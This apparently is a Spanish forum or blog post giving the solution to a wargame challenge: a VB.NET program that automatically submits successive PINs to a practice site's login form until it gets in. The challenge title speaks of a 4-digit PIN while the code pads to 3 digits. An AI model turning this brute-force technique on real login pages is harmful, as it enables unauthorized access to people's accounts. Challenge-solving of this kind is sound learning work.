Hola amigos hace unos días puse un reto en el foro del hacker.net aquí el link:
http://foro.elhacker.net/desafios_wargames/reto_averiguar_el_nip_de_4_digitos_para_acceder-t451234.0.htmlpero nadie lo resolvió así que muestro mi solución o el código que implemente para resolverlo
solo agregamos un textbox, un label, un boton y un WebBrowser al que llamaremos Web y quedara así como la imagen:
aquí el código este en vb.net
Public Class Form1
Dim pagina_mala As String
Dim pass As String
Dim clave As Integer
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Web.Navigate("http://practicashacking.net23.net/login.php")
Timer1.Interval = 2000
Timer2.Interval = 2000
clave = 1
pass = "000"
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
If pagina_mala = "" Then
pagina_mala = Web.Document.All.Item(0).OuterHtml
Web.GoBack()
Timer1.Stop()
Timer2.Start()
ElseIf pagina_mala = Web.Document.All.Item(0).OuterHtml Then
Web.GoBack()
clave = clave + 1
pass = CStr(clave)
While Len(pass) < 3
pass = "0" & pass
End While
Timer1.Stop()
Timer2.Start()
Else
Timer1.Stop()
Timer2.Stop()
MsgBox("La Clave Es: " & clave)
End If
End Sub
Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
Web.Document.GetElementById("11").InnerText = pass
Web.Document.GetElementById("10").InvokeMember("submit")
Timer2.Stop()
Timer1.Start()
End Sub
Private Sub Button1_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Timer2.Start()
Button1.Enabled = False
End Sub
End Class
y también hice un vídeo donde demuestro su funcionamiento
Ver El Videolink para
Descargar codigobueno saludos Flamer